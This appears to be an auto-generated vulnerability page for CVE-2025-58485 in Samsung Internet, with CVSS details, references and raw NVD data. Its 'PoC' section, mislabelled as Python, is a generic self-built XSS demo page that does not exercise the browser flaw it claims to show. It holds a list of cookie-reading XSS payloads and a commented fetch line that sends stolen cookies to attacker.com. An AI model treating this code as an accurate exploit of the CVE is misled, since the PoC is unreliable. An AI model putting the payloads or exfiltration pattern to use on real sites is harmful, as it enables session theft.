CVE-2025-58485

Description

Improper input validation in Samsung Internet prior to version 29.0.0.48 allows local attackers to inject arbitrary script.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:internet:*:*:*:*:*:*:*:* - VULNERABLE

Samsung Internet Browser < 29.0.0.48

Samsung Internet Browser 29.0.0.47及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-58485 PoC for Samsung Internet Browser XSS -->
<!-- This PoC demonstrates improper input validation leading to script injection -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-58485 PoC</title>
</head>
<body>
    <h1>Samsung Internet Browser XSS PoC</h1>
    <p>Target: Samsung Internet Browser < 29.0.0.48</p>
    
    <!-- Method 1: URL Parameter Injection -->
    <h2>Method 1: URL Parameter Based Injection</h2>
    <a id='maliciousLink' href='#'>Click to test</a>
    <script>
        // Simulate vulnerable parameter parsing
        const params = new URLSearchParams(window.location.search);
        const userInput = params.get('input');
        if (userInput) {
            // Vulnerable code - direct insertion without sanitization
            document.getElementById('output').innerHTML = userInput;
        }
    </script>
    <div id='output'></div>
    
    <!-- Method 2: Stored XSS via form input -->
    <h2>Method 2: Form Input Injection</h2>
    <form id='vulnerableForm'>
        <input type='text' id='userInput' placeholder='Enter data'>
        <button type='submit'>Submit</button>
    </form>
    <div id='formOutput'></div>
    
    <script>
        // XSS payload examples:
        const xssPayloads = [
            "<script>alert(document.cookie)</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert(document.domain)>",
            "javascript:alert(document.location)",
            "<iframe src='javascript:alert(\"XSS\")'></iframe>"
        ];
        
        // Form submission handler
        document.getElementById('vulnerableForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const input = document.getElementById('userInput').value;
            // Vulnerable: no input sanitization
            document.getElementById('formOutput').innerHTML = input;
        });
        
        // Auto-generate test link
        const baseUrl = window.location.href.split('?')[0];
        const testPayload = encodeURIComponent('<script>alert("CVE-2025-58485")</script>');
        document.getElementById('maliciousLink').href = baseUrl + '?input=' + testPayload;
        document.getElementById('maliciousLink').textContent = 'Test XSS Link: ?input=' + testPayload;
    </script>
    
    <!-- Impact demonstration -->
    <h2>Impact: Cookie Theft</h2>
    <p>Malicious script can steal cookies:</p>
    <button onclick="demonstrateCookieTheft()">Simulate Cookie Theft</button>
    <script>
        function demonstrateCookieTheft() {
            // In real attack, this would exfiltrate to attacker server
            const stolenData = {
                cookies: document.cookie,
                origin: window.location.origin,
                userAgent: navigator.userAgent
            };
            console.log('Stolen data:', JSON.stringify(stolenData));
            alert('Simulated theft: ' + JSON.stringify(stolenData, null, 2));
            // Real attack would use: fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(stolenData)));
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58485
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58485
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58485/
[4] VulDB https://vuldb.com/cve/CVE-2025-58485
[5] https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=12

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58485", "sourceIdentifier": "[email protected]", "published": "2025-12-02T02:15:48.490", "lastModified": "2025-12-03T17:46:54.123", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Samsung Internet prior to version 29.0.0.48 allows local attackers to inject arbitrary script."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:internet:*:*:*:*:*:*:*:*", "versionEndExcluding": "29.0.0.48", "matchCriteriaId": "28D393AD-55E1-45BE-A0B3-ADEFD6A42551"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=12", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}